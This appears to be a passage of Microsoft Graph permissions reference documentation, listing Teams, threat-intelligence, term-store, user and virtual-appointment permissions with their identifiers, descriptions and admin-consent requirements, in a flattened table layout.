    TeamsTab.ReadWriteForTeam

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-c975dd04-a06e-4fbb-9704-62daad77bb49
    DisplayText-Allow the Teams app to manage all tabs in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall all tabs to teams the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    TeamsTab.ReadWriteForTeam.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6163d4f4-fbf8-43da-a7b4-060fe85ed148-
    DisplayTextAllow the Teams app to manage all tabs for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall all tabs in any team, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsTab.ReadWriteForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-c37c9b61-7762-4bff-a156-afc0005847a0
    DisplayText-Allow the Teams app to manage all tabs for a user
    Description-Allows a Teams app to read, install, upgrade, and uninstall all tabs for the signed-in user.
    AdminConsentRequired-No
    -
    -

    TeamsTab.ReadWriteForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier425b4b59-d5af-45c8-832f-bb0b7402348a-
    DisplayTextAllow the app to manage all tabs for all users-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall all tabs for any user, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsTab.ReadWriteSelfForChat

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-0c219d04-3abf-47f7-912d-5cca239e90e6
    DisplayText-Allow the Teams app to manage only its own tabs in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall its own tabs in chats the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    TeamsTab.ReadWriteSelfForChat.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9f62e4a2-a2d6-4350-b28b-d244728c4f86-
    DisplayTextAllow the Teams app to manage only its own tabs for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall its own tabs for any chat, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsTab.ReadWriteSelfForTeam

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f266662f-120a-4314-b26a-99b08617c7ef
    DisplayText-Allow the Teams app to manage only its own tabs in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall its own tabs to teams the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    TeamsTab.ReadWriteSelfForTeam.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier91c32b81-0ef0-453f-a5c7-4ce2e562f449-
    DisplayTextAllow the Teams app to manage only its own tabs for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall its own tabs in any team, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsTab.ReadWriteSelfForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-395dfec1-a0b9-465f-a783-8250a430cb8c
    DisplayText-Allow the Teams app to manage only its own tabs for a user
    Description-Allows a Teams app to read, install, upgrade, and uninstall its own tabs for the signed-in user.
    AdminConsentRequired-No
    -
    -

    TeamsTab.ReadWriteSelfForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier3c42dec6-49e8-4a0a-b469-36cff0d9da93-
    DisplayTextAllow the Teams app to manage only its own tabs for all users-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall its own tabs for any user, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsUserConfiguration.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera91eadaf-2c3c-4362-908b-fb172d208fc65c469ce4-dab5-4afd-b9de-14f1ba4004a7
    DisplayTextRead Teams user configurationsRead Teams user configurations
    DescriptionAllows the app to read your tenant's user configurations, without a signed-in user. User configuration may include attributes related to user, such as telephone number, assigned policies, etc.Allows the app to read your tenant's user configurations on behalf of the signed-in admin user. User configuration may include attributes related to user, such as telephone number, assigned policies, etc.
    AdminConsentRequiredYesYes
    -
    -

    TeamTemplates.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-cd87405c-5792-4f15-92f7-debc0db6d1d6
    DisplayText-Read available Teams templates
    Description-Allows the app to read the available Teams templates, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    TeamTemplates.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6323133e-1f6e-46d4-9372-ac33a0870636-
    DisplayTextRead all available Teams Templates-
    DescriptionAllows the app to read all available Teams Templates, without a signed-user.-
    AdminConsentRequiredYes-
    -
    -

    Teamwork.Migrate.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdfb0dd15-61de-45b2-be36-d6a69fba3c79-
    DisplayTextCreate chat and channel messages with anyone's identity and with any timestamp-
    DescriptionAllows the app to create chat and channel messages, without a signed in user. The app specifies which user appears as the sender, and can backdate the message to appear as if it was sent long ago. The messages can be sent to any chat or channel in the organization.-
    AdminConsentRequiredYes-
    -

    personal Microsoft accounts The Teamwork.Migrate.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Teamwork.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier75bcfbce-a647-4fba-ad51-b63d73b210f4594f4bb6-c083-4cf9-8aa8-213823bdf351
    DisplayTextRead organizational teamwork settingsRead organizational teamwork settings
    DescriptionAllows the app to read all teamwork settings of the organization without a signed-in user.Allows the app to read the teamwork settings of the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TeamworkAppSettings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier475ebe88-f071-4bd7-af2b-642952bd498644e060c4-bbdc-4256-a0b9-dcc0396db368
    DisplayTextRead Teams app settingsRead Teams app settings
    DescriptionAllows the app to read the Teams app settings without a signed-in user.Allows the app to read the Teams app settings on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    TeamworkAppSettings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierab5b445e-8f10-45f4-9c79-dd3f8062cc4e87c556f0-2bd9-4eed-bd74-5dd8af6eaf7e
    DisplayTextRead and write Teams app settingsRead and write Teams app settings
    DescriptionAllows the app to read and write the Teams app settings without a signed-in user.Allows the app to read and write the Teams app settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TeamworkDevice.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0591bafd-7c1c-4c30-a2a5-2b9aacb1dfe8b659488b-9d28-4208-b2be-1c6652b3c970
    DisplayTextRead Teams devicesRead Teams devices
    DescriptionAllow the app to read the management data for Teams devices, without a signed-in user.Allow the app to read the management data for Teams devices on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TeamworkDevice.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier79c02f5b-bd4f-4713-bc2c-a8a4a66e127bddd97ecb-5c31-43db-a235-0ee20e635c40
    DisplayTextRead and write Teams devicesRead and write Teams devices
    DescriptionAllow the app to read and write the management data for Teams devices, without a signed-in user.Allow the app to read and write the management data for Teams devices on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TeamworkTag.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-57587d0b-8399-45be-b207-8050cec54575
    DisplayText-Read tags in Teams
    Description-Allows the app to read tags in Teams, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    TeamworkTag.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb74fd6c4-4bde-488e-9695-eeb100e4907f-
    DisplayTextRead tags in Teams-
    DescriptionAllows the app to read tags in Teams without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamworkTag.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-539dabd7-b5b6-4117-b164-d60cd15a8671
    DisplayText-Read and write tags in Teams
    Description-Allows the app to read and write tags in Teams, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    TeamworkTag.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera3371ca5-911d-46d6-901c-42c8c7a937d8-
    DisplayTextRead and write tags in Teams-
    DescriptionAllows the app to read and write tags in Teams without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamworkUserInteraction.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-b4d26916-07e0-4daf-9096-9f6d9174aa96
    DisplayText-Read all of the possible Teams interactions between the user and other users
    Description-Allows the app to read all of the possible Teams interactions between the signed-in user and other users
    AdminConsentRequired-Yes
    -
    -

    TermStore.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierea047cc2-df29-4f3e-83a3-205de61501ca297f747b-0005-475b-8fef-c890f5152b38
    DisplayTextRead all term store dataRead term store data
    DescriptionAllows the app to read all term store data, without a signed-in user. This includes all sets, groups and terms in the term store.Allows the app to read the term store data that the signed-in user has access to. This includes all sets, groups and terms in the term store.
    AdminConsentRequiredYesYes
    -
    -

    TermStore.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf12eb8d6-28e3-46e6-b2c0-b7e4dc69fc956c37c71d-f50f-4bff-8fd3-8a41da390140
    DisplayTextRead and write all term store dataRead and write term store data
    DescriptionAllows the app to read, edit or write all term store data, without a signed-in user. This includes all sets, groups and terms in the term store.Allows the app to read or modify data that the signed-in user has access to. This includes all sets, groups and terms in the term store.
    AdminConsentRequiredYesYes
    -
    -

    ThreatAssessment.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf8f035bb-2cce-47fb-8bf5-7baf3ecbee48-
    DisplayTextRead threat assessment requests-
    DescriptionAllows an app to read your organization's threat assessment requests, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    ThreatAssessment.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-cac97e40-6730-457d-ad8d-4852fddab7ad
    DisplayText-Read and write threat assessment requests
    Description-Allows an app to read your organization's threat assessment requests on behalf of the signed-in user. Also allows the app to create new requests to assess threats received by your organization on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    ThreatHunting.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdd98c7f5-2d42-42d3-a0e4-633161547251b152eca8-ea73-4a48-8c98-1a6742673d99
    DisplayTextRun hunting queriesRun hunting queries
    DescriptionAllows the app to run hunting queries, without a signed-in user.Allows the app to run hunting queries, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ThreatIndicators.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier197ee4e9-b993-4066-898f-d6aecc55125b9cc427b4-2004-41c5-aa22-757b755e9796
    DisplayTextRead all threat indicatorsRead all threat indicators
    DescriptionAllows the app to read all the indicators for your organization, without a signed-in user.Allows the app to read all the indicators for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ThreatIndicators.ReadWrite.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier21792b6c-c986-4ffc-85de-df9da54b52fa91e7d36d-022a-490f-a748-f8e011357b42
    DisplayTextManage threat indicators this app creates or ownsManage threat indicators this app creates or owns
    DescriptionAllows the app to create threat indicators, and fully manage those threat indicators (read, update and delete), without a signed-in user.  It cannot update any threat indicators it does not own.Allows the app to create threat indicators, and fully manage those threat indicators (read, update and delete), on behalf of the signed-in user.  It cannot update any threat indicators it does not own.
    AdminConsentRequiredYesYes
    -
    -

    ThreatIntelligence.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere0b77adb-e790-44a3-b0a0-257d06303687f266d9c0-ccb9-4fb8-a228-01ac0d8d6627
    DisplayTextRead all Threat Intelligence InformationRead all threat intelligence information
    DescriptionAllows the app to read threat intelligence information, such as indicators, observations, and and articles, without a signed in user.Allows the app to read threat intelligence information, such as indicators, observations, and articles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ThreatSubmission.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-fd5353c6-26dd-449f-a565-c4e16b9fce78
    DisplayText-Read threat submissions
    Description-Allows the app to read the threat submissions and threat submission policies owned by the signed-in user.
    AdminConsentRequired-No
    -
    -

    ThreatSubmission.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier86632667-cd15-4845-ad89-48a88e8412e17083913a-4966-44b6-9886-c5822a5fd910
    DisplayTextRead all of the organization's threat submissionsRead all threat submissions
    DescriptionAllows the app to read your organization's threat submissions and to view threat submission policies without a signed-in user.Allows the app to read your organization's threat submissions and threat submission policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ThreatSubmission.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-68a3156e-46c9-443c-b85c-921397f082b5
    DisplayText-Read and write threat submissions
    Description-Allows the app to read the threat submissions and threat submission policies owned by the signed-in user. Also allows the app to create new threat submissions on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    ThreatSubmission.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd72bdbf4-a59b-405c-8b04-5995895819ac8458e264-4eb9-4922-abe9-768d58f13c7f
    DisplayTextRead and write all of the organization's threat submissionsRead and write all threat submissions
    DescriptionAllows the app to read your organization's threat submissions and threat submission policies without a signed-in user. Also allows the app to create new threat submissions without a signed-in user.Allows the app to read your organization's threat submissions and threat submission policies on behalf of the signed-in user. Also allows the app to create new threat submissions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ThreatSubmissionPolicy.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier926a6798-b100-4a20-a22f-a4918f13951d059e5840-5353-4c68-b1da-666a033fc5e8
    DisplayTextRead and write all of the organization's threat submission policiesRead and write all threat submission policies
    DescriptionAllows the app to read your organization's threat submission policies without a signed-in user. Also allows the app to create new threat submission policies without a signed-in user.Allows the app to read your organization's threat submission policies on behalf of the signed-in user. Also allows the app to create new threat submission policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Topic.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-79c4c76f-409a-4f98-884d-e2c09291ec26
    DisplayText-Read topic items
    Description-Allows the app to read topics data on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    TrustFrameworkKeySet.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfff194f1-7dce-4428-8301-1badb55182017ad34336-f5b1-44ce-8682-31d7dfcd9ab9
    DisplayTextRead trust framework key setsRead trust framework key sets
    DescriptionAllows the app to read trust framework key set properties without a signed-in user.Allows the app to read trust framework key set properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TrustFrameworkKeySet.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4a771c9a-1cf2-4609-b88e-3d3e02d539cd39244520-1e7d-4b4a-aee0-57c65826e427
    DisplayTextRead and write trust framework key setsRead and write trust framework key sets
    DescriptionAllows the app to read and write trust framework key set properties without a signed-in user.Allows the app to read and write trust framework key set properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    UnifiedGroupMember.Read.AsGuest

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-73e75199-7c3e-41bb-9357-167164dbb415
    DisplayText-Read unified group memberships as guest
    Description-Allows the app to read basic unified group properties, memberships and owners of the group the signed-in guest is a member of.
    AdminConsentRequired-Yes
    -
    -

    User.EnableDisableAccount.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier3011c876-62b7-4ada-afa2-506cbbecc68cf92e74e7-2563-467f-9dd0-902688cb5863
    DisplayTextEnable and disable user accountsEnable and disable user accounts
    DescriptionAllows the app to enable and disable users' accounts, without a signed-in user.Allows the app to enable and disable users' accounts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    User.Export.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier405a51b5-8d8d-430b-9842-8be4b0e9f324405a51b5-8d8d-430b-9842-8be4b0e9f324
    DisplayTextExport user's dataExport user's data
    DescriptionAllows the app to export data (e.g. customer content or system-generated logs), associated with any user in your company, when the app is used by a privileged user (e.g. a Company Administrator).Allows the app to export data (e.g. customer content or system-generated logs), associated with any user in your company, when the app is used by a privileged user (e.g. a Company Administrator).
    AdminConsentRequiredYesYes
    -
    -

    User.Invite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier09850681-111b-4a89-9bed-3f2cae46d70663dd7cd9-b489-4adf-a28c-ac38b9a0f962
    DisplayTextInvite guest users to the organizationInvite guest users to the organization
    DescriptionAllows the app to invite guest users to the organization, without a signed-in user.Allows the app to invite guest users to the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    User.ManageIdentities.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc529cfca-c91b-489c-af2b-d92990b66ce6637d7bec-b31e-4deb-acc9-24275642a2c9
    DisplayTextManage all users' identitiesManage user identities
    DescriptionAllows the app to read, update and delete identities that are associated with a user's account, without a signed in user. This controls the identities users can sign-in with.Allows the app to read, update and delete identities that are associated with a user's account that the signed-in user has access to. This controls the identities users can sign-in with.
    AdminConsentRequiredYesYes
    -
    -

    User.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-e1fe6dd8-ba31-4d61-89e7-88639da4683d
    DisplayText-Sign in and read user profile
    Description-Allows users to sign-in to the app, and allows the app to read the profile of signed-in users. It also allows the app to read basic company information of signed-in users.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The User.Read delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    User.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdf021288-bdef-4463-88db-98f22de89214a154be20-db9c-4678-8ab7-66f6cc099a59
    DisplayTextRead all users' full profilesRead all users' full profiles
    DescriptionAllows the app to read user profiles without a signed in user.Allows the app to read the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The User.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    User.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier97235f07-e226-4f63-ace3-39588e11d3a1b340eb25-3456-403f-be2f-af7a0d370277
    DisplayTextRead all users' basic profilesRead all users' basic profiles
    DescriptionAllows the app to read a basic set of profile properties of other users in your organization without a signed-in user. Includes display name, first and last name, email address, open extensions, and photo.Allows the app to read a basic set of profile properties of other users in your organization on behalf of the signed-in user. This includes display name, first and last name, email address and photo.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The User.ReadBasic.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    User.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-b4e74841-8e56-480b-be8b-910348b18b4c
    DisplayText-Read and write access to user profile
    Description-Allows the app to read your profile. It also allows the app to update your profile information on your behalf.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The User.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    User.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier741f803b-c850-494e-b5df-cde7c675a1ca204e0828-b5ca-4ad8-b9f3-f32a958e7cc4
    DisplayTextRead and write all users' full profilesRead and write all users' full profiles
    DescriptionAllows the app to read and update user profiles without a signed in user.Allows the app to read and write the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The User.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    User.RevokeSessions.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier77f3a031-c388-4f99-b373-dc68676a979efc30e98b-8810-4501-81f5-c20a3196387b
    DisplayTextRevoke all sign in sessions for a userRevoke all sign in sessions for a user
    DescriptionAllow the app to revoke all sign in sessions for a user, without a signed-in user.Allow the app to revoke all sign in sessions for a user, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    UserActivity.ReadWrite.CreatedByApp

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-47607519-5fb1-47d9-99c7-da4b48f369b1
    DisplayText-Read and write app activity to users' activity feed
    Description-Allows the app to read and report the signed-in user's activity in the app.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The UserActivity.ReadWrite.CreatedByApp delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    UserAuthenticationMethod.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-1f6b61c5-2f65-4135-9c9f-31c0f8d32b52
    DisplayText-Read user authentication methods.
    Description-Allows the app to read the signed-in user's authentication methods, including phone numbers and Authenticator app settings. This does not allow the app to see secret information like the signed-in user's passwords, or to sign-in or otherwise use the signed-in user's authentication methods.
    AdminConsentRequired-Yes
    -
    -

    UserAuthenticationMethod.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier38d9df27-64da-44fd-b7c5-a6fbac20248faec28ec7-4d02-4e8c-b864-50163aea77eb
    DisplayTextRead all users' authentication methodsRead all users' authentication methods
    DescriptionAllows the app to read authentication methods of all users in your organization, without a signed-in user. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods.Allows the app to read authentication methods of all users in your organization that the signed-in user has access to. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods.
    AdminConsentRequiredYesYes
    -
    -

    UserAuthenticationMethod.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-48971fc1-70d7-4245-af77-0beb29b53ee2
    DisplayText-Read and write user authentication methods
    Description-Allows the app to read and write the signed-in user's authentication methods, including phone numbers and Authenticator app settings. This does not allow the app to see secret information like the signed-in user's passwords, or to sign-in or otherwise use the signed-in user's authentication methods.
    AdminConsentRequired-Yes
    -
    -

    UserAuthenticationMethod.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier50483e42-d915-4231-9639-7fdb7fd190e5b7887744-6746-4312-813d-72daeaee7e2d
    DisplayTextRead and write all users' authentication methodsRead and write all users' authentication methods.
    DescriptionAllows the application to read and write authentication methods of all users in your organization, without a signed-in user. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methodsAllows the app to read and write authentication methods of all users in your organization that the signed-in user has access to. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods.
    AdminConsentRequiredYesYes
    -
    -

    User-ConvertToInternal.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9d952b72-f741-4b40-9185-8c53076c2339550e695c-7511-40f4-ac79-e8fb9c82552d
    DisplayTextConvert an external user to internal member userConvert an external user to internal member user
    DescriptionAllow the app to convert an external user to an internal member user, without a signed-in user.Allow the app to convert an external user to an internal member user, on behalf of signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    User-LifeCycleInfo.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8556a004-db57-4d7a-8b82-97a13428e96fed8d2a04-0374-41f1-aefe-da8ac87ccc87
    DisplayTextRead all users' lifecycle informationRead all users' lifecycle information
    DescriptionAllows the app to read the lifecycle information like employeeLeaveDateTime of users in your organization, without a signed-in user.Allows the app to read the lifecycle information like employeeLeaveDateTime of users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    User-LifeCycleInfo.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier925f1248-0f97-47b9-8ec8-538c54e013257ee7473e-bd4b-4c9f-987c-bd58481f5fa2
    DisplayTextRead and write all users' lifecycle informationRead and write all users' lifecycle information
    DescriptionAllows the app to read and write the lifecycle information like employeeLeaveDateTime of users in your organization, without a signed-in user.Allows the app to read and write the lifecycle information like employeeLeaveDateTime of users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    UserNotification.ReadWrite.CreatedByApp

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4e774092-a092-48d1-90bd-baad67c7eb4726e2f3e8-b2a1-47fc-9620-89bb5b042024
    DisplayTextDeliver and manage all user's notificationsDeliver and manage user's notifications
    DescriptionAllows the app to send, read, update and delete user's notifications, without a signed-in user.Allows the app to send, read, update and delete user's notifications.
    AdminConsentRequiredYesNo
    -
    -

    UserShiftPreferences.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierde023814-96df-4f53-9376-1e2891ef5a18-
    DisplayTextRead all user shift preferences-
    DescriptionAllows the app to read all users' shift schedule preferences without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    UserShiftPreferences.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd1eec298-80f3-49b0-9efb-d90e224798ac-
    DisplayTextRead and write all user shift preferences-
    DescriptionAllows the app to manage all users' shift schedule preferences without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    UserTeamwork.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-834bcc1c-762f-41b0-bb91-1cdc323ee4bf
    DisplayText-Read user teamwork settings
    Description-Allows the app to read the teamwork settings of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    UserTeamwork.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfbcd7ef1-df0d-4e05-bb28-93424a89c6df-
    DisplayTextRead all user teamwork settings-
    DescriptionAllows the app to read all user teamwork settings without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    UserTimelineActivity.Write.CreatedByApp

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-367492fc-594d-4972-a9b5-0d58c622c91c
    DisplayText-Write app activity to users' timeline
    Description-Allows the app to report the signed-in user's app activity information to Microsoft Timeline.
    AdminConsentRequired-No
    -
    -

    VirtualAppointment.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-27470298-d3b8-4b9c-aad4-6334312a3eac
    DisplayText-Read a user's virtual appointments
    Description-Allows an application to read virtual appointments for the signed-in user. Only an organizer or participant user can read their virtual appointments.  
    AdminConsentRequired-Yes
    -
    -

    VirtualAppointment.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd4f67ec2-59b5-4bdc-b4af-d78f6f9c1954-
    DisplayTextRead all virtual appointments for users, as authorized by online meetings application access policy-
    DescriptionAllows the application to read virtual appointments for all users, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy.-
    AdminConsentRequiredYes-
    -
    -

    VirtualAppointment.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2ccc2926-a528-4b17-b8bb-860eed29d64c
